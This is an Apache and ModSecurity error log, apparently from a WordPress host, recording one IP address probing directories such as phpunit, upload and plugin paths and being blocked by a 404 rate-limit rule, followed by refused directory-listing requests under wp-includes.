[Mon Jan 12 22:31:32.894734 2026] [:error] [pid 48106:tid 48180] [client 45.150.174.89:45848] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aWUFxO_rz8jTZY4aXpSGlgAAAI0"]
[Mon Jan 12 22:31:34.202251 2026] [:error] [pid 51863:tid 51870] [client 45.150.174.89:45850] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aWUFxj2-QXSEuiZdYYZ6nQAAAgM"]
[Mon Jan 12 22:31:35.963953 2026] [:error] [pid 51897:tid 51938] [client 45.150.174.89:45852] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aWUFx9wDOJmYnFxYfDUJmgAAAow"]
[Mon Jan 12 22:31:37.315774 2026] [:error] [pid 51637:tid 51660] [client 45.150.174.89:45860] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aWUFyXrTvTmO_ovDgVD2awAAAZE"]
[Mon Jan 12 22:31:38.384819 2026] [:error] [pid 9303:tid 9311] [client 45.150.174.89:59176] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aWUFytEoWhpeQ69gVtEFTwAAAUU"]
[Mon Jan 12 22:31:39.855127 2026] [:error] [pid 51637:tid 51643] [client 45.150.174.89:59178] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aWUFy3rTvTmO_ovDgVD2bAAAAYA"]
[Mon Jan 12 22:32:28.799852 2026] [:error] [pid 51863:tid 51886] [client 45.150.174.89:59180] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aWUF_D2-QXSEuiZdYYZ6wQAAAhM"]
[Mon Jan 12 22:32:30.394165 2026] [:error] [pid 9303:tid 9308] [client 45.150.174.89:47700] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aWUF_tEoWhpeQ69gVtEFfwAAAUI"]
[Mon Jan 12 22:32:31.492091 2026] [:error] [pid 48105:tid 48145] [client 45.150.174.89:47702] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aWUF_zbe4SdLfSmtJe2hYgAAAEU"]
[Mon Jan 12 22:32:32.667776 2026] [:error] [pid 48106:tid 48185] [client 45.150.174.89:47704] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/include/"] [unique_id "aWUGAO_rz8jTZY4aXpSGvAAAAJI"]
[Mon Jan 12 22:32:34.355797 2026] [:error] [pid 51897:tid 51929] [client 45.150.174.89:47706] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aWUGAtwDOJmYnFxYfDUJtQAAAoM"]
[Mon Jan 12 22:32:35.755203 2026] [:error] [pid 9303:tid 9322] [client 45.150.174.89:47710] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aWUGA9EoWhpeQ69gVtEFgwAAAVA"]
[Mon Jan 12 22:32:37.367896 2026] [:error] [pid 51896:tid 51913] [client 45.150.174.89:47716] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aWUGBd2Y52W2afNXn_WirAAAAk4"]
[Mon Jan 12 22:32:38.382219 2026] [:error] [pid 51863:tid 51887] [client 45.150.174.89:36556] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/"] [unique_id "aWUGBj2-QXSEuiZdYYZ6wgAAAhQ"]
[Mon Jan 12 22:32:39.690051 2026] [:error] [pid 51637:tid 51651] [client 45.150.174.89:36562] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aWUGB3rTvTmO_ovDgVD2owAAAYg"]
[Mon Jan 12 22:32:40.956098 2026] [:error] [pid 51637:tid 51656] [client 45.150.174.89:36572] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aWUGCHrTvTmO_ovDgVD2pgAAAY0"]
[Mon Jan 12 22:32:42.354838 2026] [:error] [pid 51986:tid 52024] [client 45.150.174.89:36576] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aWUGChiI5CoFGIbwGZZ9tgAAA0k"]
[Mon Jan 12 22:32:43.355341 2026] [:error] [pid 51986:tid 52032] [client 45.150.174.89:36588] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/stories/"] [unique_id "aWUGCxiI5CoFGIbwGZZ9twAAA1E"]
[Mon Jan 12 22:32:44.884948 2026] [:error] [pid 51637:tid 51661] [client 45.150.174.89:36602] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/"] [unique_id "aWUGDHrTvTmO_ovDgVD2qwAAAZI"]
[Mon Jan 12 22:32:46.376969 2026] [:error] [pid 51896:tid 51909] [client 45.150.174.89:36604] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/"] [unique_id "aWUGDt2Y52W2afNXn_WisQAAAko"]
[Mon Jan 12 22:32:47.754528 2026] [:error] [pid 51863:tid 51872] [client 45.150.174.89:36618] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/"] [unique_id "aWUGDz2-QXSEuiZdYYZ6xgAAAgU"]
[Mon Jan 12 22:32:49.074281 2026] [:error] [pid 48105:tid 48142] [client 45.150.174.89:36326] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/"] [unique_id "aWUGETbe4SdLfSmtJe2hZwAAAEI"]
[Mon Jan 12 22:32:50.357198 2026] [:error] [pid 48106:tid 48185] [client 45.150.174.89:36334] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php/"] [unique_id "aWUGEu_rz8jTZY4aXpSGxwAAAJI"]
[Mon Jan 12 22:32:51.855818 2026] [:error] [pid 51986:tid 52018] [client 45.150.174.89:36338] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php/"] [unique_id "aWUGExiI5CoFGIbwGZZ9vQAAA0M"]
[Mon Jan 12 22:32:53.587774 2026] [:error] [pid 51897:tid 51945] [client 45.150.174.89:36346] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php/"] [unique_id "aWUGFdwDOJmYnFxYfDUJtgAAApM"]
[Mon Jan 12 22:32:54.700391 2026] [:error] [pid 51896:tid 51921] [client 45.150.174.89:36348] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php/"] [unique_id "aWUGFt2Y52W2afNXn_WiuAAAAlY"]
[Mon Jan 12 22:32:56.063964 2026] [:error] [pid 51897:tid 51927] [client 45.150.174.89:36354] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aWUGGNwDOJmYnFxYfDUJtwAAAoE"]
[Mon Jan 12 22:32:57.455356 2026] [:error] [pid 51637:tid 51661] [client 45.150.174.89:36366] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aWUGGXrTvTmO_ovDgVD2vAAAAZI"]
[Mon Jan 12 22:32:58.786511 2026] [:error] [pid 51896:tid 51902] [client 45.150.174.89:50660] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aWUGGt2Y52W2afNXn_WivAAAAkM"]
[Mon Jan 12 22:33:00.393711 2026] [:error] [pid 51986:tid 52032] [client 45.150.174.89:50676] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aWUGHBiI5CoFGIbwGZZ9vwAAA1E"]
[Mon Jan 12 22:33:01.576163 2026] [:error] [pid 48213:tid 48231] [client 45.150.174.89:50682] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwenty/"] [unique_id "aWUGHWRmaItaLCBvAhgSmAAAANA"]
[Mon Jan 12 22:33:03.255733 2026] [:error] [pid 51897:tid 51935] [client 45.150.174.89:50692] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwenty/"] [unique_id "aWUGH9wDOJmYnFxYfDUJvQAAAok"]
[Mon Jan 12 22:33:04.380946 2026] [:error] [pid 51637:tid 51651] [client 45.150.174.89:50700] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwenty/"] [unique_id "aWUGIHrTvTmO_ovDgVD2xwAAAYg"]
[Mon Jan 12 22:33:05.693394 2026] [:error] [pid 48106:tid 48186] [client 45.150.174.89:50708] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/twentytwenty/"] [unique_id "aWUGIe_rz8jTZY4aXpSGzQAAAJM"]
[Mon Jan 12 22:33:07.055221 2026] [:error] [pid 48105:tid 48144] [client 45.150.174.89:50720] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/cache/"] [unique_id "aWUGIzbe4SdLfSmtJe2hcgAAAEQ"]
[Mon Jan 12 22:33:08.956210 2026] [:error] [pid 51863:tid 51872] [client 45.150.174.89:57178] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/cache/"] [unique_id "aWUGJD2-QXSEuiZdYYZ6zwAAAgU"]
[Mon Jan 12 22:33:10.453368 2026] [:error] [pid 51637:tid 51643] [client 45.150.174.89:57188] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/cache/"] [unique_id "aWUGJnrTvTmO_ovDgVD2yAAAAYA"]
[Mon Jan 12 22:33:12.461174 2026] [:error] [pid 51986:tid 52015] [client 45.150.174.89:57204] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/cache/"] [unique_id "aWUGKBiI5CoFGIbwGZZ9xAAAA0A"]
[Mon Jan 12 22:33:14.676915 2026] [:error] [pid 9303:tid 9329] [client 45.150.174.89:57214] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aWUGKtEoWhpeQ69gVtEFmwAAAVc"]
[Mon Jan 12 22:33:16.352984 2026] [:error] [pid 48213:tid 48217] [client 45.150.174.89:57216] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aWUGLGRmaItaLCBvAhgSogAAAMI"]
[Mon Jan 12 22:33:17.653247 2026] [:error] [pid 48213:tid 48227] [client 45.150.174.89:57230] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aWUGLWRmaItaLCBvAhgSpAAAAMw"]
[Mon Jan 12 22:33:18.853384 2026] [:error] [pid 51986:tid 52017] [client 45.150.174.89:42310] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/"] [unique_id "aWUGLhiI5CoFGIbwGZZ9yAAAA0I"]
[Mon Jan 12 22:33:20.153240 2026] [:error] [pid 51896:tid 51909] [client 45.150.174.89:42324] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/akismet/"] [unique_id "aWUGMN2Y52W2afNXn_WiwwAAAko"]
[Mon Jan 12 22:33:21.489802 2026] [:error] [pid 51863:tid 51887] [client 45.150.174.89:42328] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/akismet/"] [unique_id "aWUGMT2-QXSEuiZdYYZ62AAAAhQ"]
[Mon Jan 12 22:33:22.981936 2026] [:error] [pid 51637:tid 51661] [client 45.150.174.89:42338] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/akismet/"] [unique_id "aWUGMnrTvTmO_ovDgVD2zAAAAZI"]
[Mon Jan 12 22:33:24.888429 2026] [:error] [pid 51863:tid 51869] [client 45.150.174.89:42354] [client 45.150.174.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/akismet/"] [unique_id "aWUGND2-QXSEuiZdYYZ62gAAAgI"]
[Mon Jan 12 22:33:26.296408 2026] [autoindex:error] [pid 51896:tid 51923] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:26.641167 2026] [autoindex:error] [pid 51896:tid 51910] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:26.986811 2026] [autoindex:error] [pid 51896:tid 51913] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:27.297922 2026] [autoindex:error] [pid 51896:tid 51904] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:27.626034 2026] [autoindex:error] [pid 51896:tid 51908] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:27.981495 2026] [autoindex:error] [pid 51896:tid 51912] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:28.296159 2026] [autoindex:error] [pid 51896:tid 51919] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:28.613251 2026] [autoindex:error] [pid 51896:tid 51920] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:35.816662 2026] [autoindex:error] [pid 51896:tid 51903] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Jan 12 22:33:36.185751 2026] [autoindex:error] [pid 51896:tid 51911] [client 45.150.174.89:42362] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
